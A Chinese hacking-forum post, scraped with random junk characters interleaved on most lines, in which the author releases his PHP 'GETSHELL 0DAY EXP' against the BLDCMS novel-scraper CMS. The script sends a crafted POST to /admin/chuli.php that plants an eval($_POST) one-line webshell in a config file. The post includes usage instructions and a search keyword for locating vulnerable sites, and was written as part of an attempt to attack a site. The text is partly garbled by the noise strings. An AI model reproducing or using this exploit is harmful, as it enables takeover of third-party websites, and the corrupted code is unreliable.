之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞/ h$ | \- F. h, x; p% D8 H
! S2 q0 Y+ H1 Y2 w( c
) j8 Q% \% u+ V4 i2 R* L话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
/ I7 u9 y' y2 ~/ F1 ^8 n9 n & @" @' R$ @+ m X) Q$ f$ X* v5 _& i6 a
既然都有人发了 我就把我之前写好的EXP放出来吧4 a% o0 ?. l6 [
3 Q: F! m9 n' M8 j4 r, F4 x
view source print?01.php;">
5 e/ z3 ~: V+ Q( e0 M# f G8 _5 ?02.<!--?php& O y6 ~) B; x
03.echo "-------------------------------------------------------------------
& W9 o0 R+ y" Z8 p9 ?04.
, O% a$ B1 ~3 S7 u9 @! E8 Q05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
; H, z* j& T- n5 S R+ |1 T$ {/ A06.
: [! r5 T$ ^+ l/ b- h( B0 e, d$ h07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun# a% m; F+ q4 a* p
08. 5 Z) M; d2 L3 q
09.QQ:981009941\r\n 2013.3.21\r\n
$ f0 K' P: d* u/ m& f5 S/ s2 Z10. 8 `$ D N4 K* g: p. E7 J$ I
11. / J6 Q1 |( B. i$ G$ v& E: I" j
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
: b, L5 F. M: g# q6 S13.
2 C# U( C9 o0 u( R. t3 _. @14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
2 l* z5 J" [; r% |% C15. " l. F5 e1 c. b% g. r0 m6 J( M
16.--------------------------------------------------------------------\r\n"; K, J, T# T# Q+ Q: a
17.$url=$argv[1];7 z0 Q% A F( f* `) X
18.$dir=$argv[2];2 D3 P( K5 c4 n* g% w& s) ~
19.$pass=$argv[3];- h# @7 k( B. q) l' p
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';% Y" O) D9 G6 t# U' D
21.if (emptyempty($pass)||emptyempty($url))
6 u* f l& r* k; _. f, `22.{exit("请输入参数");}4 L6 H r$ j, Q3 G+ F" `
23.else
7 ?5 |9 `, d, V. ~* \24.{. U1 s" P. i: R
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev* |$ p0 U$ U3 N$ k, x- Y, n
26.
9 m! W5 u4 R) w3 X+ v27.al;
. O5 m1 _' P% g# |8 z28.$length = strlen($fuckdata);
1 Y8 }6 v& ~: G29.function getshell($url,$pass)6 s- L- S. q9 k3 N/ p: t0 G
30.{; `3 K4 b. a5 j% }& h8 T+ U
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
% a& v* a5 j8 p5 S. S32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
4 F' ~1 ]& N7 @! u6 j5 l+ f33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n"; u: Y0 G1 J) L/ ?0 _
34.$header .= "User-Agent: MSIE\r\n";& m. ~6 ~% ]1 T$ s+ W1 b& l& L* p
35.$header .= "Host:".$url."\r\n";# `7 h8 u, U+ C6 J7 z
36.$header .= "Content-Length: ".$length."\r\n";
2 o* K, ]) ^1 e8 x+ v! n9 d$ A37.$header .= "Connection: Close\r\n";; I5 C, i, A- i4 l+ p
38.$header .="\r\n";0 o1 @) e: b/ O9 D3 }- o
39.$header .= $fuckdata."\r\n\r\n";
4 [2 Y7 n2 w1 t9 u1 U) l40.$fp = fsockopen($url, 80,$errno,$errstr,15);
) z$ O5 w$ H1 N4 L' z6 e8 ?2 |3 i41.if (!$fp)
% M1 D, ^/ H3 q* D9 p3 o42.{3 c9 X, e' g7 d1 a, ~# d
43.exit ("利用失败:请检查指定目标是否能正常打开");
/ R9 x3 O8 K5 ^9 V4 B44.}. W- ]) n6 J4 P) B0 F
45.else{ if (!fputs($fp,$header))
8 `) p0 L% L% T7 R( ~* L! f46.{exit ("利用失败");}
1 D+ K( A5 O# ]/ w) S1 w2 o47.else0 t! m% q' X6 m
48.{ a" n, t6 y3 a8 M' R. L
49.$receive = '';
+ p+ \. V% P2 M6 M% C/ \50.while (!feof($fp)) {
3 P$ p8 H; z% z6 O3 S51.$receive .= @fgets($fp, 1000);
) e1 f, Y9 b- v) s# w; F! m0 F, X" s+ U52.}
, L$ d/ |+ @1 F% L! g8 `53.@fclose($fp);' |2 D# K' X. j' P& A* N. C
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标2 V8 J' F- G* w
55.
4 f/ d: K+ m* w7 q$ Y! P$ a56.GPC是否=off)";6 F- ?' p4 V+ n! v0 I* u: p
57.}}. Z8 f; G; S- {8 D0 ]
58.}
" h" c* d9 t; d2 t59.}3 q" W# [5 b% ]/ |# {
60.getshell($url,$pass);, t/ s# f' d2 q1 \
61.?-->
P# p" G/ j, {
+ R# u. p Q4 A. y9 O( ~/ s; G% ?
8 t4 Z* D( z. r" r 6 a% v$ x( D$ v/ p8 s
by 数据流
: F! J# h, }, h R) h7 } |